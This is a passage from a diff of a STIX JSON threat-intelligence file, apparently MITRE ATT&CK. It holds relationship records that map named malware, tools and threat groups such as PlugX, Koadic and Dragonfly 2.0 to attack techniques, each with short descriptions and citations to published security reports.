"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--7a30e6e7-ed64-47b1-b368-c1cec96d5fbf", + "source_ref": "malware--6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Blasco, J. (2012, January 12). Sykipot variant hijacks DOD and Windows smart cards. Retrieved January 10, 2016.", + "source_name": "Alienvault Sykipot DOD Smart Cards", + "url": "https://www.alienvault.com/open-threat-exchange/blog/sykipot-variant-hijacks-dod-and-windows-smart-cards" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f2d44246-91f1-478a-b6c8-1227e0ca109d", + "description": "If the victim is using PowerShell 3.0 or later, [POWERSOURCE](https://attack.mitre.org/software/S0145) writes its decoded payload to an alternate data stream (ADS) named kernel32.dll that is saved in %PROGRAMDATA%\\Windows\\.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--bc838675-63af-45c5-9a30-081b5f5ac0d7", + "source_ref": "malware--17e919aa-4a49-445c-b103-dbb8df9e7351", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Brumaghin, E. and Grady, C.. (2017, March 2). Covert Channels and Poor Decisions: The Tale of DNSMessenger. Retrieved March 8, 2017.", + "source_name": "Cisco DNSMessenger March 2017", + "url": "http://blog.talosintelligence.com/2017/03/dnsmessenger.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "description": "[Pupy](https://attack.mitre.org/software/S0192) can compress data with Zip before sending it over C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--d1ee6feb-91cb-4cac-ae57-e71358af29c2", + "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4", + "modified": "2019-04-24T17:52:47.766Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "GitHub Pupy", + "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.", + "url": "https://github.com/n1nj4sec/pupy" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5", + "description": "[Koadic](https://attack.mitre.org/software/S0250) can use Rundll32 to execute additional payloads.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--f32e0356-d326-4dd7-9c5f-4c1c304d8862", + "source_ref": "tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Magius, J., et al. (2017, July 19). Koadic. Retrieved June 18, 2018.", + "source_name": "Github Koadic", + "url": "https://github.com/zerosum0x0/koadic" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "description": "[ELMER](https://attack.mitre.org/software/S0064) uses HTTP over port 443 for command and control.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--b4b71687-5aed-4cde-ba59-c37bb5231878", + "source_ref": "malware--3cab1b76-2f40-4cd0-8d2c-7ed16eeb909c", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Winters, R.. (2015, December 20). The EPS Awakens - Part 2. Retrieved January 22, 2016.", + "source_name": "FireEye EPS Awakens Part 2", + "url": "https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) used a batch script to gather folder and file names from victim hosts.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--82e1ab81-89f9-4d96-87fd-69d04c6710f3", + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "modified": "2019-03-22T20:13:49.460Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "source_name": "US-CERT TA18-074A", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) uses command-line interaction to search files and directories.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.033Z", + "id": "relationship--5c8fba10-9d8a-4257-a458-8f58efc8d912", + "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", + "modified": "2019-04-22T15:08:48.438Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Villeneuve et al 2014", + "description": "Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION \u201cKE3CHANG\u201d: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6", + "description": "[KARAE](https://attack.mitre.org/software/S0215) was distributed through torrent file-sharing websites to South Korean victims, using a YouTube video downloader application as a lure.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--2445349c-0bdb-40a7-acca-03f3908b1f35", + "source_ref": "malware--3c02fb1f-cbdb-48f5-abaf-8c81d6e0c322", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "source_name": "FireEye APT37 Feb 2018", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "description": "[HALFBAKED](https://attack.mitre.org/software/S0151) can execute PowerShell scripts.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--bfdffca9-6418-486d-833f-84f3920fcb71", + "source_ref": "malware--0ced8926-914e-4c78-bc93-356fb90dbd1f", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.", + "source_name": "FireEye FIN7 April 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "description": "[Misdat](https://attack.mitre.org/software/S0083) network traffic is Base64-encoded plaintext.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--a12a471b-39b2-4abf-80d0-af88d5a4f038", + "source_ref": "malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "source_name": "Cylance Dust Storm", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790", + "description": "Some [Sakula](https://attack.mitre.org/software/S0074) samples install themselves as services for persistence by calling WinExec with the net start argument.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--d64ba78c-a332-40be-8e2f-904f15ceffe7", + "source_ref": "malware--96b08451-b27a-4ff6-893f-790e26393a8e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, July 30). Sakula Malware Family. Retrieved January 26, 2016.", + "source_name": "Dell Sakula", + "url": "http://www.secureworks.com/cyber-threat-intelligence/threats/sakula-malware-family/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9fa07bef-9c81-421e-a8e5-ad4366c5a925", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used legitimate access granted to Managed Service Providers in order to access victims of interest.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--99a96ac0-c93d-488b-8439-04d97716682c", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "modified": "2019-09-03T18:50:16.763Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + }, + { + "source_name": "FireEye APT10 April 2017", + "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[BBSRAT](https://attack.mitre.org/software/S0127) can list running processes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--b82f51f9-74a0-43e1-b3c6-63df3a90c9eb", + "source_ref": "malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80", + "modified": "2019-04-24T23:10:02.383Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Palo Alto Networks BBSRAT", + "description": "Lee, B. Grunzweig, J. (2015, December 22). BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger. Retrieved August 19, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[InvisiMole](https://attack.mitre.org/software/S0260) avoids analysis by encrypting all strings, internal files, configuration data.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--9e8f8dce-1921-4738-ae7f-30290a350cf2", + "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.", + "source_name": "ESET InvisiMole June 2018", + "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638", + "description": "[OwaAuth](https://attack.mitre.org/software/S0072) DES-encrypts captured credentials using the key 12345678 before writing the credentials to a log file.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--a83992e1-5be5-433e-b3f1-d9ccde98c9ca", + "source_ref": "malware--a60657fa-e2e7-4f8f-8128-a882534ae8c5", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "source_name": "Dell TG-3390", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--970cdb5c-02fb-4c38-b17e-d6327cf3c810", + "description": "[Kazuar](https://attack.mitre.org/software/S0265) adds a .lnk file to the Windows startup folder.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--fc572a1d-a44d-4588-b31d-1c54116d12f4", + "source_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2", + "modified": "2019-04-24T15:26:03.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.", + "source_name": "Unit 42 Kazuar May 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69", + "description": "[Orz](https://attack.mitre.org/software/S0229) can overwrite Registry settings to reduce its visibility on the victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--93addaa1-7baa-4fdd-ab92-3e58865a5ef2", + "source_ref": "malware--06d735e7-1db1-4dbe-ab4b-acbe419f902b", + "modified": "2019-09-16T18:01:16.231Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", + "source_name": "Proofpoint Leviathan Oct 2017", + "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "description": "[TURNEDUP](https://attack.mitre.org/software/S0199) is capable of injecting code into the APC queue of a created [Rundll32](https://attack.mitre.org/techniques/T1085) process as part of an \"Early Bird injection.\"", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--02e3008d-1b2b-4824-b715-d6d8335cc4b2", + "source_ref": "malware--db1355a7-e5c9-4e2c-8da7-eccf2ae9bf5c", + "modified": "2019-05-14T19:15:24.329Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "CyberBit Early Bird Apr 2018", + "description": "Gavriel, H. & Erbesfeld, B. (2018, April 11). New \u2018Early Bird\u2019 Code Injection Technique Discovered. Retrieved May 24, 2018.", + "url": "https://www.cyberbit.com/blog/endpoint-security/new-early-bird-code-injection-technique-discovered/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", + "description": "[Elderwood](https://attack.mitre.org/groups/G0066) has used exploitation of endpoint software, including Microsoft Internet Explorer Adobe Flash vulnerabilities, to gain execution. They have also used zero-day exploits.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--e1269d18-6cc9-45cc-9c99-06f765bea366", + "source_ref": "intrusion-set--03506554-5f37-4f8f-9ce4-0e9f01a1b484", + "modified": "2019-03-22T20:15:19.461Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", + "source_name": "Symantec Elderwood Sept 2012", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[Leafminer](https://attack.mitre.org/groups/G0077) obfuscated scripts that were used on victim machines.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--0eb683e1-bd09-4572-866a-f178ce54f7b6", + "source_ref": "intrusion-set--32bca8ff-d900-4877-aa65-d70baa041b74", + "modified": "2019-03-25T14:12:13.435Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Leafminer July 2018", + "description": "Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa", + "description": "After compromising a victim, [Poseidon Group](https://attack.mitre.org/groups/G0033) discovers all running services.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.070Z", + "id": "relationship--720be590-5ea0-43b6-8360-fa75dd4d1a67", + "source_ref": "intrusion-set--7ecc3b4f-5cdb-457e-b55a-df376b359446", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kaspersky Lab's Global Research and Analysis Team. (2016, February 9). Poseidon Group: a Targeted Attack Boutique specializing in global cyber-espionage. Retrieved March 16, 2016.", + "source_name": "Kaspersky Poseidon Group", + "url": "https://securelist.com/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/73673/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b2001907-166b-4d71-bb3c-9d26c871de09", + "description": "A [Patchwork](https://attack.mitre.org/groups/G0040) .dll that contains [BADNEWS](https://attack.mitre.org/software/S0128) is loaded and executed using DLL side-loading.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--174698f8-9349-4e52-9887-18089038195c", + "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "modified": "2019-07-11T13:53:05.819Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "TrendMicro Patchwork Dec 2017", + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[Rancor](https://attack.mitre.org/groups/G0075) has downloaded additional malware, including by using [certutil](https://attack.mitre.org/software/S0160).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--74a15877-d310-4be1-813d-4ee9cbd603b7", + "source_ref": "intrusion-set--f40eb8ce-2a74-4e56-89a1-227021410142", + "modified": "2019-04-25T12:37:45.611Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.", + "source_name": "Rancor Unit42 June 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842", + "description": "[HAMMERTOSS](https://attack.mitre.org/software/S0037) is controlled via commands that are appended to image files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--34c4b497-00e3-415c-8e09-3b73667d9bbe", + "source_ref": "malware--2daa14d6-cbf3-4308-bb8e-213c324a08e4", + "modified": "2019-10-11T19:07:42.397Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye Labs. (2015, July). HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group. Retrieved September 17, 2015.", + "source_name": "FireEye APT29", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b2001907-166b-4d71-bb3c-9d26c871de09", + "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) has used DLL side-loading, including by using legitimate Kaspersky antivirus variants in which the DLL acts as a stub loader that loads and executes the shell code.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.061Z", + "id": "relationship--2a93ea80-d0f6-4b81-887d-8911f7573245", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "modified": "2019-07-14T21:15:54.977Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "source_name": "Dell TG-3390", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + }, + { + "source_name": "SecureWorks BRONZE UNION June 2017", + "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.", + "url": "https://www.secureworks.com/research/bronze-union" + }, + { + "source_name": "Securelist LuckyMouse June 2018", + "description": "Legezo, D. (2018, June 13). LuckyMouse hits national data center to organize country-level waterholing campaign. Retrieved August 18, 2018.", + "url": "https://securelist.com/luckymouse-hits-national-data-center/86083/" + }, + { + "source_name": "Unit42 Emissary Panda May 2019", + "description": "Falcone, R. and Lancaster, T.. (2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. Retrieved July 9, 2019.", + "url": "https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7", + "description": "[Zeus Panda](https://attack.mitre.org/software/S0330) checks to see if anti-virus, anti-spyware, or firewall products are installed in the victim\u2019s environment.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T17:59:44.417Z", + "id": "relationship--19f93e6a-a481-4f72-856a-879742a654e4", + "source_ref": "malware--198db886-47af-4f4c-bff5-11b891f85946", + "modified": "2019-04-16T20:55:20.048Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos Zeus Panda Nov 2017", + "description": "Brumaghin, E., et al. (2017, November 02). Poisoning the Well: Banking Trojan Targets Google Search Results. Retrieved November 5, 2018.", + "url": "https://blog.talosintelligence.com/2017/11/zeus-panda-campaign.html#More" + }, + { + "source_name": "GDATA Zeus Panda June 2017", + "description": "Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. Retrieved November 5, 2018.", + "url": "https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "description": "[PlugX](https://attack.mitre.org/software/S0013) has a module for capturing keystrokes per process including window titles.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T18:17:59.273Z", + "id": "relationship--38f209df-bb69-4971-bbd8-db5a54bbf217", + "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd", + "modified": "2019-04-19T15:08:15.816Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Computer Incident Response Center Luxembourg. (2013, March 29). Analysis of a PlugX variant. Retrieved November 5, 2018.", + "source_name": "CIRCL PlugX March 2013", + "url": "http://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f", + "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) identified and browsed file servers in the victim network, sometimes , viewing files pertaining to ICS or Supervisory Control and Data Acquisition (SCADA) systems.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--79672f1b-d7a9-494e-9c0b-82eadb88389a", + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "modified": "2019-03-22T20:13:49.462Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "source_name": "US-CERT TA18-074A", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A" + }, + { + "source_name": "US-CERT APT Energy Oct 2017", + "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) can download additional files for execution on the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T18:44:05.087Z", + "id": "relationship--40ae8100-d02c-445a-acf5-8e30f04ec6c0", + "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8", + "modified": "2019-04-16T14:30:35.247Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Brumaghin, E., et al. (2018, October 15). Old dog, new tricks - Analysing new RTF-based campaign distributing Agent Tesla, Loki with PyREbox. Retrieved November 5, 2018.", + "source_name": "Talos Agent Tesla Oct 2018", + "url": "https://blog.talosintelligence.com/2018/10/old-dog-new-tricks-analysing-new-rtf_15.html" + }, + { + "description": "The DigiTrust Group. (2017, January 12). The Rise of Agent Tesla. Retrieved November 5, 2018.", + "source_name": "DigiTrust Agent Tesla Jan 2017", + "url": "https://www.digitrustgroup.com/agent-tesla-keylogger/" + } + ], + "relationship_type": "uses" 